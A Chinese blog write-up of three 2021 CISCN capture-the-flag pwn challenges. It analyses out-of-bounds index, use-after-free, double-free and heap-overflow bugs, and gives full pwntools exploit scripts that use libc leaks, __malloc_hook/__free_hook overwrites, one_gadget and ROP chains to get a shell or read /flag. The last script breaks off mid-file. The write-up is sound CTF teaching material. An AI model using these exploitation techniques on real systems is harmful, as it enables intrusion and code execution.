当前位置:网站首页>2021 ciscn-pwn 初赛
2021 ciscn-pwn 初赛
2022-06-10 09:53:00 【HNHuangJingYu】
题目-pwny
2021全国大学生信息安全竞赛-pwny_init
保护
$ checksec ./pwny
[*] '/home/hnhuangjingyu/pwny/pwny'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
$ ./libc-2.27.so
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.3) stable release version 2.27.
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 7.5.0.
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
分析
main
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4FQzUxYO-1654366741330)(2021-国赛.assets/image-20220525234405472.png)]](/img/2b/dac6cb39b98390a2bfee642dd6f3db.png)
read
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UDuvrs75-1654366741331)(2021-国赛.assets/image-20220525234430774.png)]](/img/35/481fdb97790a0c1cac37658b76a1e7.png)
write
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2JOtAQpl-1654366741331)(2021-国赛.assets/image-20220525234451507.png)]](/img/65/f7da530f7294db344e41a68dda8c5e.png)
这个程序其实就是两个核心函数,和名字一样,因为操作的fd指针是个随机参数文件,我们通过修改fd指针为0,也就是控制台就可以实现任意读写了,那么程序就简单了
思路
很简单我们看这个qword_202060[input_idx]这里组的偏移是由我们决定的且没有大小限制(是int64类型的变量)。
ok看看bss段qword_202060和随机函数的fd指针只相差0x100偏移,那么就可以间接的控制fd为0了,具体利用如下:
################################ Function ############################################
def reads(offset):
sla("Your choice:","1")
sa("Index:",offset)
def writes(offset,data = -1):
sla("Your choice:","2")
sla("Index:",str(offset))
if (data != -1):
sd(data)
################################### Statr ############################################
writes(0x100) #第一次发现rsp的值是一个随机值
writes(0x100) #这里的rsp就为0,刚好满足需求
reads(p64(0xfffffffffffffff0))
ru('Result:')
libc.address = int(ru('\n'),16) - (0x7f5beb5afb10 - 0x7f5beb58e000)
reads(p64(0xfffffffffffffff5))
ru('Result:')
addr = int(ru('\n'),16) + (0x0000556dd6c02060 - 0x556dd6c02008)
这里就可以将fd置为0,我也是gdb调试调试着就发现的,仔细分析程序再加gdb的一些数据,思路一下就来了,这样我们就实现了任意读,从而泄漏了程序用户态地址,和libc地址,ok
再通过任意写在malloc_hook处写入one_gadget,但是我在做的时候换了所有one_gadget都不行,调试发现进入到了one_gadget函数后,遇到了一个bad 指令,然后就报错EOF了,不想放弃这个exp再使用environ进行getshell
我们看看报错时后的程序数据:
──────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x007ff8a8f8e3cc → <do_system+1036> (bad)
$rbx : 0x007fff58275130 → 0x007fff58275140 → "22222222222222222222222222222222222222222222222222[...]"
$rcx : 0x32
$rdx : 0x402
$rsp : 0x007fff58274e78 → 0x007ff8a8fdc2d8 → <__libc_scratch_buffer_grow_preserve+88> mov rcx, rax
$rbp : 0x800
$rsi : 0x007ff8a8fdc2d8 → <__libc_scratch_buffer_grow_preserve+88> mov rcx, rax
$rdi : 0x800
$rip : 0x007ff8a8f8e3cc → <do_system+1036> (bad)
$r8 : 0x007ff8a932c8c0 → 0x0000000000000000
$r9 : 0x007ff8a9558580 → 0x007ff8a9558580 → [loop detected]
$r10 : 0x005591a6a00d01 → 0x65646e4900646c25 ("%ld"?)
$r11 : 0x005591a6a00d04 → add BYTE PTR [rcx+0x6e], cl
$r12 : 0x007fff58275140 → "22222222222222222222222222222222222222222222222222[...]"
$r13 : 0x400
$r14 : 0x007fff58275140 → "22222222222222222222222222222222222222222222222222[...]"
$r15 : 0xffffffff
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
──────────────────────────────────────────────────────────────────────────────────── stack ────
0x007fff58274e78│+0x0000: 0x007ff8a8fdc2d8 → <__libc_scratch_buffer_grow_preserve+88> mov rcx, rax ← $rsp
0x007fff58274e80│+0x0008: 0x0000000000000400
0x007fff58274e88│+0x0010: 0x007fff58275590 → 0x007fff58275680 → 0x0000000000000002
0x007fff58274e90│+0x0018: 0x0000000000000a ("\n"?)
0x007fff58274e98│+0x0020: 0x00000000000032 ("2"?)
0x007fff58274ea0│+0x0028: 0x007ff8a932aa00 → 0x00000000fbad208b
0x007fff58274ea8│+0x0030: 0x007ff8a8fac4c8 → <_IO_vfscanf+8616> test al, al
0x007fff58274eb0│+0x0038: 0x4800490040000a ("\n"?)
────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
→ 0x7ff8a8f8e3cc <do_system+1036> (bad)
0x7ff8a8f8e3cd <do_system+1037> add BYTE PTR [rax-0x73], cl
0x7ff8a8f8e3d0 <do_system+1040> add eax, 0x164a42
0x7ff8a8f8e3d5 <do_system+1045> lea rsi, [rip+0x39e2c4] # 0x7ff8a932c6a0 <intr>
0x7ff8a8f8e3dc <do_system+1052> xor edx, edx
0x7ff8a8f8e3de <do_system+1054> mov edi, 0x2
───────────────────────────────────────────────────────────────────────────────────────────────
gef*
可以看到程序执行到了one_gadget这里地方出现了一个bad(报错原因),在执行onegadget的时候报错退出一般只有寄存器数据有问题,或者是栈数据有问题,都不符合one_gadget要求,这里我的glibc的one_gadget为如下:
$ one_gadget /home/hnhuangjingyu/glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/libc-2.27.so -l2
0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0xe546f execve("/bin/sh", r13, rbx)
constraints:
[r13] == NULL || r13 == NULL
[rbx] == NULL || rbx == NULL
0xe5617 execve("/bin/sh", [rbp-0x88], [rbp-0x70])
constraints:
[[rbp-0x88]] == NULL || [rbp-0x88] == NULL
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL
0xe561e execve("/bin/sh", rcx, [rbp-0x70])
constraints:
[rcx] == NULL || rcx == NULL
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL
0xe5622 execve("/bin/sh", rcx, rdx)
constraints:
[rcx] == NULL || rcx == NULL
[rdx] == NULL || rdx == NULL
0x10a41c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
0x10a428 execve("/bin/sh", rsi, [rax])
constraints:
[rsi] == NULL || rsi == NULLt
[[rax]] == NULL || [rax] == NULL
再看看我的在调用malloc_hook前的栈空间,可以看到只需要提高栈0x8即可满足一些one_gadge。
解决方法:在malloc_hook中写入realloc(realloc_hook就在malloc_hook-0x8处),在realloc_hook中写入one_gadget,修改realloc的偏移+8即去掉函数开头的一个push操作,最后函数出栈就会改变原来的栈空间去调用one_gadget,修改后如下:
──────────────────────────────────────────────────────────────────────────────────── stack ────
0x007ffdb1ee74b8│+0x0000: 0x00000000000032 ("2"?) ← $rsp
0x007ffdb1ee74c0│+0x0008: 0x007fc5a22f4a00 → 0x00000000fbad208b
0x007ffdb1ee74c8│+0x0010: 0x007fc5a1f764c8 → <_IO_vfscanf+8616> test al, al
0x007ffdb1ee74d0│+0x0018: 0x4800490040000a ("\n"?)
0x007ffdb1ee74d8│+0x0020: 0x007fc5a20be74b → 0x747300445750002e ("."?)
0x007ffdb1ee74e0│+0x0028: 0x007ffdb1ee7b90 → 0x0055f52ee00900 → xor ebp, ebp
0x007ffdb1ee74e8│+0x0030: 0x0000000000000000
0x007ffdb1ee74f0│+0x0038: 0x0000000000000000
那么exp如下:
writes("0"*0xfff,b'\x00') #初始化[email protected]
writes(int((libc.symbols['__malloc_hook'] - addr)/8)-1 , p64(libc.address + one[1]))
writes(int((libc.symbols['__malloc_hook'] - addr)/8) , p64(libc.symbols['realloc'] +8 ))
#writes(int((libc.symbols['__malloc_hook'] - addr)/8) , p64(libc.address + one[1] ))
#logs(libc.symbols['__malloc_hook'])
#logs(addr)
#logs((libc.symbols['__malloc_hook'] - addr)/8)
sla("Your choice:","2"*0xfff) #getshell
完整exp
#! /usr/bin/python3
from pwn import *
#context.terminal = ['terminator', '-x', 'sh', '-c']
context.log_level = 'debug'
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')
binary = "./pwny"
one = [0x4f3d5,0x4f432,0x10a41c]
global p
local = 1
if local:
p = process(binary)
e = ELF(binary)
libc = e.libc
else:
p = remote("111.200.241.244","58782")
e = ELF(binary)
libc = e.libc
#libc = ELF('./libc_32.so.6')
################################ Condfig ############################################
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
it = lambda :p.interactive()
def z(s='b main'):
gdb.attach(p,s)
def logs(addr,string='logs'):
if(isinstance(addr,int)):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))
else:
print('\033[1;31;40m%20s-->%s\033[0m'%(string,addr))
def pa(s='1'):
log.success('pause : step---> '+str(s))
pause()
def info(data,key='info',bit=64):
if(bit == 64):
leak = u64(data.ljust(8, b'\0'))
else:
leak = u32(data.ljust(4, b'\0'))
logs(leak,key)
return leak
################################ Function ############################################
def reads(offset):
sla("Your choice:","1")
sa("Index:",offset)
def writes(offset,data = -1):
sla("Your choice:","2")
sla("Index:",str(offset))
if (data != -1):
sd(data)
################################### Statr ############################################
#z(''' pie breakpoint 0xb78 \n c''')
#z(''' pie breakpoint 0xc06 \n c \n c \n c ''')
writes(0x100)
writes(0x100)
reads(p64(0xfffffffffffffff0))
ru('Result:')
libc.address = int(ru('\n'),16) - (0x7f5beb5afb10 - 0x7f5beb58e000)
reads(p64(0xfffffffffffffff5))
ru('Result:')
addr = int(ru('\n'),16) + (0x0000556dd6c02060 - 0x556dd6c02008)
writes("0"*0xfff,b'\x00') #初始化[email protected]
writes(int((libc.symbols['__malloc_hook'] - addr)/8)-1 , p64(libc.address + one[1]))
writes(int((libc.symbols['__malloc_hook'] - addr)/8) , p64(libc.symbols['realloc'] +8 ))
#writes(int((libc.symbols['__malloc_hook'] - addr)/8) , p64(libc.address + one[1] ))
#logs(libc.symbols['__malloc_hook'])
#logs(addr)
#logs((libc.symbols['__malloc_hook'] - addr)/8)
sla("Your choice:","2"*0xfff)
################################### End ##############################################
p.interactive()
题目-silverwolf
2021全国大学生信息安全竞赛-ciscn_2021_silverwolf
保护
$ checksec silverwolf
[*] '/home/hnhuangjingyu/sliverwolf_my/silverwolf'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
保护全开,值得注意的是我们这里查看下ldd信息
$ ldd silverwolf_init
linux-vdso.so.1 (0x00007ffff7fcd000)
libseccomp.so.2 => /lib/x86_64-linux-gnu/libseccomp.so.2 (0x00007ffff7d89000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7b97000)
/lib64/ld-linux-x86-64.so.2 (0x00007ffff7fcf000)
可以看到这里使用了libseccomp.so,所以应该是个沙盒禁用题,我用seccomp-tools工具查看如下
$ seccomp-tools dump ./silverwolf
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x07 0xc000003e if (A != ARCH_X86_64) goto 0009
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x04 0xffffffff if (A != 0xffffffff) goto 0009
0005: 0x15 0x02 0x00 0x00000000 if (A == read) goto 0008
0006: 0x15 0x01 0x00 0x00000001 if (A == write) goto 0008
0007: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0009
0008: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0009: 0x06 0x00 0x00 0x00000000 return KILL
这里可以发现确实开启了沙盒保护,且open不能使用,好像openat也不能使用,之前做过一个类似的题目ciscn_final_4(解题思路差不多,开启了反调试)感兴趣的可以去试试
分析
main
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lEfMeGcQ-1654366741332)(2021-国赛.assets/image-20220525010934909.png)]](/img/90/69f63db3a460216a47cbcf35a4bebf.png)
alloc
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qWu2pTsO-1654366741332)(2021-国赛.assets/image-20220525010958060.png)]](/img/06/9468be16a1020331d7a07ef37cb22d.png)
这里知道malloc最大值为0x78,且程序只会存储一个堆块指针
edit
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qwRq0A7Q-1654366741333)(2021-国赛.assets/image-20220525011124530.png)]](/img/b7/71e2a1ce7a590b43737bc1d627f350.png)
这里offbynull漏洞,从这里看出来,edit并没见检查堆指针,所以即使进入到了bin中也能直接修改数据,那么就可以很方便的进行修改fd了
show
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OjjwCq19-1654366741333)(../Library/Mobile Documents/comappleCloudDocs/MD笔记/pwn/沙盒/沙盒禁用+tcache.assets/image-20220525011149124.png)]](/img/85/7128b7497e5005c10eca9a6fd6e494.png)
dele
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Vi7U7zjC-1654366741334)(../Library/Mobile Documents/comappleCloudDocs/MD笔记/pwn/沙盒/沙盒禁用+tcache.assets/image-20220525011309613.png)]](/img/bf/cefc2e710d7f7a16da9b3a11e8f5ee.png)
有uaf漏洞、doublefree
思路
这里的程序很简单漏洞百出,就是个baby题目,但是因为有了沙盒保护所以有了一丢丢难度(我也是过几天准备国赛这里才来刷往年的题目的>.<)ok话不多说开始!
因为doublefree+uaf所以我们可以很方便的进行泄漏libc
这里给大家说明下tcache的特性,这里的glibc的版本是2.27,那么在tcache初始化的时候会有一个tcache_perthread_struct的堆结构也就是那个位于堆结构第一个的堆块,在glibc2.27中它的大小为0x250,为什么是0x250呢,来看看源码定义:
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
可以看到它由两部分组成,counts用于记录每个释放tcache堆块的大小,entries用于记录释放堆块的指针也就是链表,而在64bit中TCACHE_MAX_BINS默认大小为64,那么计算得出char counts[64] = 0x40 , tcache_entry *entries[64] = 0x200,从而得出0x10 + 0x40 + 0x200 = 0x250大小,不难发现每个tcache的counts变量它的容量是char那么就是最大值为0xff
有了上面的知识那么我们使用tcache泄漏libc也就不难了
(0x20) tcache_entry[0](7): 0x555555606610 --> 0x555555606790 --> 0x5555556065f0 --> 0x5555556068a0 --> 0x5555556060b0 --> 0x555555606450 --> 0x555555606020
(0x40) tcache_entry[2](2): 0x555555606920 --> 0x555555606920 (overlap chunk with 0x555555606910(freed) )
(0x60) tcache_entry[4](1): 0x5555556068c0
(0x70) tcache_entry[5](7): 0x555555606360 --> 0x5555556060d0 --> 0x5555556062f0 --> 0x555555606490 --> 0x555555606630 --> 0x5555556067b0 --> 0x555555606040
(0x80) tcache_entry[6](7): 0x555555605e90 --> 0x5555556061b0 --> 0x555555606250 --> 0x5555556063d0 --> 0x555555606570 --> 0x555555606820 --> 0x555555605fa0
(0xd0) tcache_entry[11](3): 0x555555605ad0 --> 0x5555556057a0 --> 0x555555605310
(0xf0) tcache_entry[13](2): 0x5555556066a0 --> 0x555555605cd0
gef* addr 0x555555605000 //查看tcache_perthread_struct内存数据
0x555555605000: 0x0000000000000000 0x0000000000000251
0x555555605010: 0x0007070100020007 0x0000020003000000 //可以发现数据都是和上面对应的
0x555555605020: 0x0000000000000000 0x0000000000000000
0x555555605030: 0x0000000000000000 0x0000000000000000 //那么我们将0x555555605030这里改为0xff000000,则表示0x250的tcache已经装满的0xff个,那么再次free则会进入unsortbin中
0x555555605040: 0x0000000000000000 0x0000000000000000
0x555555605050: 0x0000555555606610 0x0000000000000000
0x555555605060: 0x0000555555606920 0x0000000000000000
0x555555605070: 0x00005555556068c0 0x0000555555606360
0x555555605080: 0x0000555555605e90 0x0000000000000000
那么exp为:
alloc(0x30)
dele() #free
edit('A'*0x8)
dele() #double free
show()
ru('Content: ')
heap = info(rc(6),"heap") - 0x1920 #得到堆地址
alloc(0x30)
edit(p64(heap + 0x10)) #修改fd为tcache的tcache_perthread_struct地址
alloc(0x30)
alloc(0x30)
edit(p64(0)*4 +p64(0xff000000)) #拿到tcache_perthread_struct
dele()
show()
ru('Content: ')
libc.address = info(rc(6),"libc") - (0x7f973c643ca0 - 0x7f973c258000)
泄漏了libc之后那么就是劫持程序流了,因为要在tcache中利用所以先将unsortbin中的堆块拿完,再同样的方法劫持堆块到free_hook
for i in range(11):
alloc(0x78)
dele()
edit('A'*0x10)
dele()
alloc(0x78)
edit(p64(libc.symbols['__free_hook']))
alloc(0x78)
再向free_hook中写入一个setcontext方法指针,这个方法具体使用看这里->https://blog.csdn.net/A951860555/article/details/118268484,我这里使用它是为了得到一个gadget->mov rsp , [rdi + 0xa0] 下面我会讲到
alloc(0x78)
edit(p64(libc.symbols['setcontext'] + 0x35))
接下来就是部署open->read->puts的rop链条了,首先通过glibc找到gadget(可通过 ropper --file libc-2.27.so --nocolor > rop.txt)得到gadget
alloc(0x20)
edit('/flag\x00')
prdi = libc.address + 0x00000000000215bf
prsi = libc.address + 0x0000000000023eea
prdx = libc.address + 0x0000000000001b96
prax = libc.address + 0x0000000000043ae8
add_rsp_38 = libc.address +0x00000000000e0c4d
flag_addr = heap + 0x210
rop = p64(heap + 0x19e0 - 0x80)
rop += p64(prdi) + p64(flag_addr)
rop += p64(prsi) + p64(0)
rop += p64(prax) + p64(2)
rop += p64(libc.symbols['syscall'] + 0xf) #这里需要非常注意要加上一个偏移才可以正常syscall
#rop += p64(libc.symbols['read'] + 0xf) #或者直接采用[email protected] + 0xf也可以
rop += p64(add_rsp_38)
alloc(0x78)
edit(rop)
alloc(0x78)
rop = p64(prdi) + p64(0x3)
rop += p64(prsi)+ p64(flag_addr)
rop += p64(prdx)+ p64(100)
rop += p64(libc.symbols['read'])
rop += p64(prdi) + p64(flag_addr)
rop += p64(libc.symbols['puts'])
edit(rop)
alloc(0x50)
dele()
上面采用了syscall("flag",0,2) -> read(3,buf,100) -> puts(buf)的方式读取flag,这一块exp需要自己调试才能理解~~~这里我用的glibc是 2.27-3ubuntu1.4 题目给的glibc是2.27-3ubuntu1.3所以会有一点点偏移差距,(因为我没有找到这里glibc,懒得找>.<)
完整exp
#!/usr/bin/python3
from pwn import *
#context.terminal = ['terminator', '-x', 'sh', '-c']
#context.log_level = 'debug'
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')
binary = "./silverwolf"
#ld_path= "/home/hnhuangjingyu/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/ld-2.27.so"
#libc_path = "/lib/x86_64-linux-gnu/libseccomp.so.2"
one = [0x45216,0x4526a,0xf02a4,0xf1147]
global p
local = 1
if local:
# p = process([ld_path,binary],env={"LD_PRELOAD":libc_path})
p = process(binary)
e = ELF(binary)
libc = e.libc
else:
p = remote("111.200.241.244","58782")
e = ELF(binary)
libc = e.libc
#libc = ELF('./libc_32.so.6')
################################ Condfig ############################################
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
it = lambda :p.interactive()
def z(s='b main'):
gdb.attach(p,s)
def logs(addr,string='logs'):
if(isinstance(addr,int)):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))
else:
print('\033[1;31;40m%20s-->%s\033[0m'%(string,addr))
def pa(s='1'):
log.success('pause : step---> '+str(s))
pause()
def info(data,key='info',bit=64):
if(bit == 64):
leak = u64(data.ljust(8, b'\0'))
else:
leak = u32(data.ljust(4, b'\0'))
logs(leak,key)
return leak
################################ Function ############################################
def alloc(size):
sla("Your choice:","1")
sla("Index:","0")
sla("Size:",str(size))
def edit(content):
sla("Your choice:","2")
sla("Index:","0")
sla("Content:",content)
def show():
sla("Your choice:","3")
sla("Index:","0")
def dele():
sla("Your choice:","4")
sla("Index:","0")
################################### End ##############################################
alloc(0x30)
dele()
edit('A'*0x8)
dele()
show()
ru('Content: ')
heap = info(rc(6),"heap") - 0x1920
alloc(0x30)
edit(p64(heap + 0x10))
alloc(0x30)
alloc(0x30)
edit(p64(0)*4 +p64(0xff000000))
dele()
show()
ru('Content: ')
libc.address = info(rc(6),"libc") - (0x7f973c643ca0 - 0x7f973c258000)
for i in range(11):
alloc(0x78)
dele()
edit('A'*0x10)
dele()
alloc(0x78)
edit(p64(libc.symbols['__free_hook']))
alloc(0x78)
alloc(0x78)
edit(p64(libc.symbols['setcontext'] + 0x35))
#edit(p64(libc.symbols['puts']))
alloc(0x20)
edit('/flag\x00')
prdi = libc.address + 0x00000000000215bf
prsi = libc.address + 0x0000000000023eea
prdx = libc.address + 0x0000000000001b96
prax = libc.address + 0x0000000000043ae8
add_rsp_38 = libc.address +0x00000000000e0c4d
flag_addr = heap + 0x210
rop = p64(heap + 0x19e0 - 0x80)
rop += p64(prdi) + p64(flag_addr)
rop += p64(prsi) + p64(0)
rop += p64(prax) + p64(2)
rop += p64(libc.symbols['syscall'] + 0xf) #这里需要非常注意要加上一个偏移才可以正常syscall
#rop += p64(libc.symbols['read'] + 0xf) #或者直接采用[email protected] + 0xf也可以
rop += p64(add_rsp_38)
alloc(0x78)
edit(rop)
alloc(0x78)
rop = p64(prdi) + p64(0x3)
rop += p64(prsi)+ p64(flag_addr)
rop += p64(prdx)+ p64(100)
rop += p64(libc.symbols['read'])
rop += p64(prdi) + p64(flag_addr)
rop += p64(libc.symbols['puts'])
edit(rop)
alloc(0x50)
dele()
################################### End ##############################################
p.interactive()
结果
$ cat /flag
flag ~~~
$ ./exp.py
[+] Starting local process './silverwolf': pid 11606
[*] '/home/hnhuangjingyu/sliverwolf_my/silverwolf'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
[*] '/home/hnhuangjingyu/glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
./exp.py:35: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
sla = lambda a,s:p.sendlineafter(a,s)
/home/hnhuangjingyu/.local/lib/python3.8/site-packages/pwnlib/tubes/tube.py:822: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
res = self.recvuntil(delim, timeout=timeout)
./exp.py:33: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
ru = lambda s:p.recvuntil(s)
heap-->0x555555606920
libc-->0x7ffff7dcdca0
[*] Switching to interactive mode
flag ~~~
\xdc\xdc\xf7\xff
$ [*] Got EOF while reading in interactive
$
题目-game
2021全国大学生信息安全竞赛-game
保护
$ checksec game
[*] '/home/hnhuangjingyu/game/game'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
$ ./libc-2.27.so
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.2) stable release version 2.27.
$ ldd game
linux-vdso.so.1 (0x00007ffff7fcd000)
libseccomp.so.2 => /lib/x86_64-linux-gnu/libseccomp.so.2 (0x00007ffff7d86000)
/home/hnhuangjingyu/glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/libc-2.27.so (0x00007ffff7995000)
/lib64/2_27-linux.so.2 => /lib64/ld-linux-x86-64.so.2 (0x00007ffff7fcf000)
开启了沙盒保护
分析
main
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-L3Ad4isO-1654366741334)(2021-国赛.assets/image-20220602134949087.png)]](/img/9d/06a7f6945d764b5d1be58ede0733df.png)
kernel
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-e67D6FT6-1654366741335)(2021-国赛.assets/image-20220602135127600.png)]](/img/8b/31416e6b1d59349a003a0f50a6d320.png)
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jbWm300I-1654366741335)(2021-国赛.assets/image-20220602135149516.png)]](/img/30/a8caeafbdc1d23fa64be2def6561df.png)
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5242TyOU-1654366741336)(2021-国赛.assets/image-20220602135208229.png)]](/img/a7/c6d821c1c59a9f24e968fea403ca08.png)
init_data
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MkmqXLez-1654366741336)(2021-国赛.assets/image-20220602135234146.png)]](/img/d5/e3661301ffc53498cf49d22510ef22.png)
add_data
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Qna86EgM-1654366741337)(2021-国赛.assets/image-20220602135248037.png)]](/img/02/05653347be4597f0f7893b7b1dae20.png)
free_data
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ZFN7OQE0-1654366741338)(2021-国赛.assets/image-20220602135303116.png)]](/img/c5/aad47b59cf1e0c697518649c677a34.png)
show_data
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4fV6vHhE-1654366741338)(2021-国赛.assets/image-20220602135316940.png)]](/img/06/b3172b24ddce6deca221cc1d9b410c.png)
to_up
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9ytXIMQE-1654366741339)(2021-国赛.assets/image-20220602135329401.png)]](/img/da/f088faa12c2155d7c2cb27f2f730df.png)
to_down
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PpVs7Vcw-1654366741339)(2021-国赛.assets/image-20220602135440620.png)]](/img/bd/80216f9452fac91d8f9f29878006a2.png)
剩下两个都是差不多的就不贴图了
下面是我做题时画的思维图,可以参考下
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-H2TkPMeU-1654366741339)(2021-国赛.assets/image-20220602141023856.png)]](/img/57/581c643a52c87880ea71ff75870088.png)
思路
程序首先会通过malloc申请一块初始空间,这块空间使存在于堆上面,而下面的up、down、right、left函数都是操作初始化空间里面的id值,可以注意到这里id移动没有边界范围,所以可以通过位移函数移动id值到上下堆块中造成数据覆盖,简单的说—>可以实现堆溢出
那么就很好解决了,程序其实不难理清楚程序逻辑就是一个简单的堆题
程序有uaf、show函数
################################### Statr ############################################
init(8,8)
#--------------------------overflow heap-----------------------------------------
add(5,0x3f0,'5') #这里malloc一个很大的chunk ,使程序默认的malloc(0x20)非物理相邻
left(5)
left(5)
down(5)
down(5) #通过移动id:5的位置造成chunk->size被覆盖成0x500
#而这里实际上chunk5距离topchunk的偏移还是0x400
add(6,0x1f0,p8(0)*0xf8 + p64(0x101)) #同样malloc一个较大的数,使它和0x500物理相邻,进一步手动修改堆结构,同时造成堆重叠
dele(5)
上面造成了堆块重叠,并且覆盖的chunk5的size为0x500,那么久可以放入unsortbin进行泄漏libc了
#--------------------------leak libc、heap-----------------------------------------
add(7,0x300,'7') #从unsortbin 分割chunk
show() #leak libc
ru(') ')
libc.address = info(rc(6)) - (0x007ffff7dce037 - 0x7ffff79e2000)
add(8,0x10,'8') #从unsortbin 分割chunk
show() #leak heap
ru(') ')
heap = info(rc(6)) - (0x2128)
有了上面堆块重叠那么就可以间接的修改tcache里面的chunk了
#--------------------------attack tcache、orw->flag -----------------------------------------
dele(6) #将被chunk5覆盖的chunk6放入到tcache
add(9,0x1b0,p8(0)*0xc0 + p64(libc.sym['__free_hook'])) #修改chunk6也就是tcachebin的fd为heaphead
add(10,0x1f0,'./flag\x00')
add(11,0x1f0,p64(libc.sym['setcontext'] + 0x35)) #拿到
rop = get_rop(libc,flag = heap + 0x2640)
add(12,0x300,p8(0)*0xa0 + p64(heap + 0x28e0) + rop)
dele(12)
################################### End ##############################################
p.interactive()
完整exp
#!/usr/bin/python3
from pwn import *
context.terminal = ['terminator', '-x', 'sh', '-c']
context.log_level = 'debug'
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')
binary = "./game"
one = [0x45216,0x4526a,0xf02a4,0xf1147]
global p
local = 1
if local:
p = process(binary)
e = ELF(binary)
libc = e.libc
else:
p = remote("111.200.241.244","58782")
e = ELF(binary)
libc = e.libc #libc = ELF('./libc_32.so.6')
################################ Condfig ############################################
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
it = lambda :p.interactive()
def z(s='b main'):
gdb.attach(p,s)
def logs(addr,string='logs'):
if(isinstance(addr,int)):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))
else:
print('\033[1;31;40m%20s-->%s\033[0m'%(string,addr))
def pa(s='1'):
log.success('pause : step---> '+str(s))
pause()
def info(data,key='info',bit=64):
if(bit == 64):
leak = u64(data.ljust(8, b'\0'))
else:
leak = u32(data.ljust(4, b'\0'))
logs(leak,key)
return leak
################################ Function ############################################
def init(l, w):
sla('cmd> ','op:1\nl:'+str(l)+'\nw:'+str(w)+'\n')
